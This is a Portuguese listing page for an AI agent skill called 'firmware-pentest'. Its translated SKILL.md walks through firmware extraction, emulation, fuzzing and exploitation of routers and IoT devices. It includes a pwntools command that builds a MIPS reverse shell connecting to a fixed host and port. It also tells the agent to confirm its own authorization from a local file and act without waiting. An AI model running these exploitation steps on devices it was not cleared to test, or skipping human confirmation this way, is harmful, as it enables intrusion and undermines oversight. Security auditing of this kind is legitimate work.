firmware-pentest
Faz seu agente investigar firmwares de dispositivos como roteadores e câmeras. Ele analisa o sistema, extrai informações e procura por falhas de segurança. Útil para auditar a segurança de dispositivos IoT.
O que ela faz
Esta ferramenta ajuda a analisar arquivos de firmware de dispositivos como roteadores e câmeras. Ela extrai os arquivos do firmware, procura por falhas de segurança e tenta simular o funcionamento do dispositivo para encontrar vulnerabilidades.
Quando usar
- ✓Quando você tem um arquivo de firmware (.bin, .img) e quer encontrar falhas.
- ✓Ao auditar a segurança de dispositivos IoT (Internet das Coisas).
- ✓Para entender como um dispositivo funciona internamente sem tocá-lo fisicamente.
Exemplo do que pedir para a IA
“Analise este firmware de roteador e encontre possíveis vulnerabilidades.”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
A ferramenta usa outras ferramentas para extrair o conteúdo do firmware, analisar os arquivos encontrados e simular o dispositivo em um computador. Isso permite encontrar falhas de segurança de forma automatizada.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add zhaoxuya520/reverse-skill --skill firmware-pentestOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/zhaoxuya520/reverse-skill/main/skills/firmware-pentest/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
Firmware / Cadeia de Pentest de IoT (Pentest de Firmware)
REQUER AÇÃO IMEDIATA (Execute após a leitura)
NOW: Leia../field-journal/precedent-pentest.md— Confirme que a operação desta skill é uma operação regular autorizadaNOW: Confirme se a tarefa atual se enquadra no escopo desta skillNEXT: Leia../tool-index.md, verifique a disponibilidade da ferramenta e o caminho realNEXT: Chame o bootstrap se a ferramenta estiver faltando, não adivinhe o caminhoACT: Entre na primeira etapa do "Fluxo de Trabalho" e execute, não permaneça no estado de confirmação
Escopo
As seguintes tarefas entram nesta skill:
- Obtenha um arquivo de firmware (.bin / .img / .trx / .chk / OTA zip), necessitando de RCE do zero
- Auditoria de roteadores/câmeras/dispositivos IoT — Necessidade de descobrir em massa CVEs conhecidos e vulnerabilidades não divulgadas
- Criptografar/empacotar firmware, necessitando encontrar exemplos de descriptografia de bootloader ou dump de hardware
- Necessidade de executar sem contato com o hardware (emulação de sistema completo QEMU / Firmadyne / FAT)
- Fuzzing de serviços emulados (modo QEMU AFL++ / boofuzz)
- Conexão de interface de hardware (UART / JTAG / dump de flash SPI)
Divisão de Tarefas com Outras Skills
| Cenário | O que usar |
|---|---|
| Obtenha firmware do zero, percorra todo o caminho do FSTM | Esta skill |
| Apenas engenharia reversa estática de um único ELF/so | reverse-engineering/, ida-reverse/, radare2/ |
| Exploração Web/RCE após emulação | pentest-tools/, attack-chain/ |
| Operação prática de interface de hardware (UART/JTAG/SPI) | Seção Stage 2 desta skill + patterns-hardware.md |
| Firmware APK / Android (incluindo boot.img) | apk-reverse/ (desempacote boot.img primeiro e depois use esta skill) |
| Migração de símbolos de firmware entre versões | binary-diff/ |
Princípios Centrais
固件 .bin
│
├─ Stage 1-3: 信息收集 / 获取 / 静态分析(不解压也能看的部分)
│
├─ Stage 4: 提取文件系统 ← binwalk v3 / unblob / jefferson / ubi_reader
│ │
│ └─ 失败 → 找 bootloader 解密例程 / UART dump / SPI flash 硬件读
│
├─ Stage 5: 文件系统静态分析 ← EMBA 自动化 + 手工 grep
│
├─ Stage 6: 模拟运行 ← Firmadyne / FAT / qemu-user-static + chroot
│
├─ Stage 7-8: 动态 / 运行时分析 ← gdb-multiarch、IDA 远程调试、Ghidra
│
└─ Stage 9: 二进制利用 ← AFL++ fuzz / 手工 PoC / ARM / MIPS payload
Julgamentos chave:
- Falha na extração não significa que o firmware está criptografado, execute binwalk v2, binwalk v3, unblob, jefferson, ubi_reader primeiro
- EMBA gera um relatório HTML com um único comando, economizando 80% do esforço, os 20% restantes são a verdadeira descoberta de vulnerabilidades
- Ao emular e falhar, suspeite primeiro de falta de NVRAM, nome de NIC incorreto, falta de nó
/dev/ - Payload ARM / MIPS deve distinguir endianness (mipsel vs mipseb), não use incorretamente
Fluxo de Trabalho de Nove Estágios do OWASP FSTM
Stage 1 — Coleta de Informações (Information Gathering)
Coletar modelo, chip, SDK, CVEs divulgados.
# FCC ID 查询(美区设备)
curl -s "https://fccid.io/?q=$FCC_ID"
# 芯片识别参考点
echo "Realtek RTL8197 / Broadcom BCM / MediaTek MT76 / Qualcomm IPQ"
Saída: Modelo do chip, origem do SDK (o SDK determina se o binwalk terá sucesso de uma vez).
Stage 2 — Obtenção de Firmware (Obtaining Firmware)
Quatro caminhos: download do site oficial, captura de pacotes OTA, dump via shell UART, leitura física de flash SPI.
# OTA 抓包后批量下载
mitmdump -s save_response.py
# UART 接入(USB-TTL,常用波特率 57600 / 115200)
picocom -b 115200 /dev/ttyUSB0
# SPI flash 用 CH341A + flashrom 读
flashrom -p ch341a_spi -r dump.bin
Stage 3 — Análise de Firmware (Analyzing Firmware)
Antes de descompactar, verifique o cabeçalho, entropia, strings, assinaturas reconhecíveis.
binwalk firmware.bin # magic 扫描
binwalk -E firmware.bin # 熵图,高熵段=压缩/加密
strings -n 8 firmware.bin | less # banner / 内核版本 / 路径
file firmware.bin
hexdump -C firmware.bin | head -64
Stage 4 — Extração do Sistema de Arquivos (Extracting Filesystem)
Veja references/extraction-methodology.md para detalhes.
binwalk -eM firmware.bin # 递归提取
unblob -d out/ firmware.bin # 处理 binwalk 失败的格式
jefferson rootfs.jffs2 -d rootfs/ # JFFS2
ubireader_extract_files rootfs.ubi # UBI
Stage 5 — Análise Estática do Sistema de Arquivos (Filesystem Analysis)
EMBA escaneia com um clique, veja references/emba-automated-analysis.md para detalhes.
sudo emba -l ./logs -f ./firmware.bin -p ./scan-profiles/default-scan.emba
Correção manual:
grep -rE "(password|passwd|admin|secret|api_key|token)=" squashfs-root/
find squashfs-root/ -name "*.conf" -o -name "*.ini" -o -name "shadow"
checksec --file=squashfs-root/usr/sbin/httpd
Stage 6 — Emulação de Firmware (Emulating Firmware)
Veja references/emulation-and-fuzz.md para detalhes.
# 用户态:跑单个 binary
qemu-mipsel-static -L squashfs-root/ squashfs-root/usr/sbin/httpd
# 全系统:FAT(Firmadyne 封装版)
sudo fat.py firmware.bin
Stage 7 — Análise Dinâmica (Dynamic Analysis)
Anexe um depurador após a emulação, capture tráfego, execute fuzzing.
# gdb 远程调试 MIPS
qemu-mipsel-static -g 1234 ./vuln_binary
gdb-multiarch ./vuln_binary -ex "target remote :1234"
# Burp + 路由 Web UI
echo "把 Firmadyne 仿真出来的 IP 设为 Burp upstream proxy 目标"
Stage 8 — Análise em Tempo de Execução (Runtime Analysis)
Anexe um depurador em hardware real ou faça fuzzing guiado por cobertura no estado de emulação.
# AFL++ qemu mode 对 ARM / MIPS binary fuzz
AFL_PRELOAD=./libdesock.so afl-fuzz -Q -i in/ -o out/ -- ./httpd @@
Stage 9 — Exploração de Binários (Exploitation)
Escreva PoC, gere payload, obtenha shell root.
# pwntools 生成 MIPS reverse shell
python3 -c "
from pwn import *
context.arch = 'mips'
context.endian = 'little'
print(shellcraft.connect('192.168.1.100', 4444) + shellcraft.dupsh())
" | as -EL -mips32 -o sc.o - && objcopy -O binary sc.o sc.bin
# ROP gadget
ropper --file squashfs-root/usr/sbin/httpd --search "system"
Exemplos de Cenários Típicos
Cenário 1: Fluxo Completo de Firmware de Roteador Comum (TP-Link / Xiaomi Router / Derivado de OpenWrt)
Firmware: router_v1.2.3.bin (squashfs não criptografado)
Objetivo: Encontrar RCE não autorizado na interface de gerenciamento Web e reproduzir
Passo 1 Coleta de Informações
- Pesquisa reversa de FCC ID → MT7621 + MT7615 + 16MB flash
…
Perguntas frequentes
O que é firmware?
Firmware é o software básico que controla um dispositivo eletrônico, como um roteador, câmera ou smart TV. Ele é diferente do sistema operacional do seu computador ou celular.
O que é RCE?
RCE significa 'Remote Code Execution' (Execução Remota de Código). É uma falha de segurança grave que permite a um invasor executar comandos no dispositivo remotamente.
O que são dispositivos IoT?
IoT significa 'Internet das Coisas'. São dispositivos conectados à internet, como câmeras de segurança inteligentes, assistentes de voz, termostatos e eletrodomésticos conectados.
Detalhes
Descrição original do autor
固件 / IoT 渗透链。从拿到一坨 .bin / .img 开始,闭环走完逆向 → 提取 → 模拟 → 利用。 方法论遵循 OWASP FSTM 九阶段;工具链以 binwalk v3、unblob、EMBA、Firmadyne、AFL++ 为主。 适用场景:路由器/摄像头/智能家居固件审计、固件升级包逆向、IoT CVE 复现、嵌入式 0day 挖掘。 触发关键词:固件、firmware、IoT、binwalk、unblob、UART、JTAG、squashfs、UBI、JFFS2、Firmadyne、QEMU 全系统仿真、EMBA、固件渗透、路由器固件、嵌入式漏洞利用、bootloader、NVRAM、FAT、firmware analysis toolkit。
Popularidade
- Estrelas no GitHub
- 42 mil
- Posição no ranking
- #4765
- Licença
- MIT
- Atualizada em
- 22/09/2026
Comentários
- …
Mais skills deste repositório
competition-ad-certificate-abuse
Ajuda seu agente a analisar ataques a sistemas de certificados digitais. Ele investiga como certificados podem ser usados indevidamente para obter acesso.
zhaoxuya520/reverse-skill
competition-agent-cloud
Faz seu agente analisar desafios de segurança em sistemas de IA e nuvem. Ele investiga como prompts, ferramentas e a nuvem podem ser explorados.
zhaoxuya520/reverse-skill
competition-android-hooking
Ajuda seu agente a investigar aplicativos Android. Ele analisa como os aplicativos funcionam internamente e como podem ser modificados ou explorados.
zhaoxuya520/reverse-skill
competition-browser-persistence
Faz seu agente analisar como sites guardam informações no seu navegador. Ele investiga cookies e outros dados para entender como as sessões funcionam.
zhaoxuya520/reverse-skill
Skills parecidas
django-security
Ajuda seu agente a implementar práticas de segurança em aplicações Django. Ele foca em autenticação, autorização e prevenção contra ataques comuns, garantindo um código mais seguro.
affaan-m/ECC
laravel-security
Ajuda seu agente a proteger aplicações Laravel contra ameaças. Implementa práticas de segurança para autenticação, autorização e prevenção de ataques comuns.
affaan-m/ECC
module-regression
Ajuda seu agente a gerenciar mudanças em projetos grandes. Garante que alterações em uma parte do código não quebrem outras partes.
affaan-m/ECC